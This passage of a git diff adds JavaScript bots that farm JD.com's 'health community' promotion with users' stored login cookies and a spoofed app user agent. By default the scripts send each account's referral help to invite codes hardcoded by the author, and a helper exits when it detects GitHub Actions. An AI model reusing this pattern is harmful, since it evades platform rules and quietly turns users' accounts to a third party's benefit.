秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_health.js b/jd_health.js new file mode 100644 index 0000000..cda23c9 --- /dev/null +++ b/jd_health.js @@ -0,0 +1,334 @@ +/* +author: 疯疯 +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +13 1,6,22 * * * jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="13 1,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + message; +const inviteCodes = [ + `T019-aknAFRllhyoQlyI46gCjVfnoaW5kRrbA@T0225KkcRhcbp1CBJhv0wfZedQCjVfnoaW5kRrbA@T010_aU6SR8Q_QCjVfnoaW5kRrbA@T0225KkcREtN9lOGJUinl_dfcwCjVfnoaW5kRrbA@T0225KkcRBYdoFaGIxOnnPMJdACjVfnoaW5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVfnoaW5kRrbA@T0225KkcRk1N_FeCJhv3xvdfcQCjVfnoaW5kRrbA`, + `T019-aknAFRllhyoQlyI46gCjVfnoaW5kRrbA@T0225KkcRhcbp1CBJhv0wfZedQCjVfnoaW5kRrbA@T010_aU6SR8Q_QCjVfnoaW5kRrbA@T0225KkcREtN9lOGJUinl_dfcwCjVfnoaW5kRrbA@T0225KkcRBYdoFaGIxOnnPMJdACjVfnoaW5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVfnoaW5kRrbA@T0225KkcRk1N_FeCJhv3xvdfcQCjVfnoaW5kRrbA`, + `T0225KkcRB8c_VODck-nl_8IdgCjVfnoaW5kRrbA` +] +const randomCount = $.isNode() ? 20 : 5; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + {"open-url": "https://bean.m.jd.com/"} + ); + return; + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await shareCodesFormat() + await main() + await showMsg() + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function main() { + try { + $.score = 0 + $.earn = false + await getTaskDetail(-1) + await getTaskDetail(16) + await getTaskDetail(6) + for(let i = 0 ; i < 5; ++i){ + $.canDo = false + await getTaskDetail() + if(!$.canDo) break + await $.wait(1000) + } + await collectScore() + await helpFriends() + await getTaskDetail(22); + await getTaskDetail(-1) + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + let res = await doTask(code, 6) + if([108,-1001].includes(res?.data?.bizCode)){ + console.log(`助力次数已满,跳出`) + break + } + await $.wait(1000) + } +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` + $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); + resolve(); + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), + async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0')) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (data?.data?.result?.taskVos) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`); + // console.log('好友助力码:' + data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken) + } + } else if (taskId === 22) { + console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务,完成次数:${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`) + if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return + await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务 + await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3)); + await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务 + } else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) { + console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) + for (let i = vo.times; i < vo.maxTimes; ++i) { + console.log(`去完成${vo.taskName}任务`) + if (vo.taskType === 13) { + await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId) + } else if (vo.taskType === 8) { + await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1) + await $.wait(1000 * 10) + await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0) + } else if (vo.taskType === 9) { + await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1) + await $.wait(1000 * 10) + await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0) + } else if (vo.taskType === 10) { + await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId) + } else if (vo.taskType === 26 || vo.taskType === 3) { + await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId) + } + } + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(data?.data?.bizCode ?? -1)) { + $.canDo = true + if (data?.data?.result?.score) + console.log(`任务完成成功,获得:${data?.data?.result?.score ?? '未知'}能量`) + else + console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function collectScore() { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_collectProduceScore', {}), + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log(`任务完成成功,获得:${data?.data?.result?.produceScore ?? '未知'}能量`) + else + console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://share.turinglabs.net/api/v3/health/query/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} health/read API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDHEALTH_SHARECODES) { + if (process.env.JDHEALTH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDHEALTH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDHEALTH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_collect.js b/jd_health_collect.js new file mode 100644 index 0000000..89f3b87 --- /dev/null +++ b/jd_health_collect.js @@ -0,0 +1,137 @@ +// author: 疯疯 +/* +东东健康社区收集能量收集能量(不做任务,任务脚本请使用jd_health.js) +更新时间:2021-4-23 +活动入口:京东APP首页搜索 "玩一玩"即可 + +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区收集能量 +5-45/20 * * * * jd_health_collect.js, tag=东东健康社区收集能量, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5-45/20 * * * *" script-path=jd_health_collect.js, tag=东东健康社区收集能量 + +====================Surge================ +东东健康社区收集能量 = type=cron,cronexp="5-45/20 * * * *",wake-system=1,timeout=3600,script-path=jd_health_collect.js + +============小火箭========= +东东健康社区收集能量 = type=cron,script-path=jd_health_collect.js, cronexpr="5-45/20 * * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区收集能量收集"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await collectScore(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function collectScore() { + return new Promise((resolve) => { + $.get(taskUrl("jdhealth_collectProduceScore", {}), (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log( + `任务完成成功,获得:${ + data?.data?.result?.produceScore ?? "未知" + }能量` + ); + else + console.log( + `任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}` + ); + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`); + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=1.0.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : require("./USER_AGENTS").USER_AGENT + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 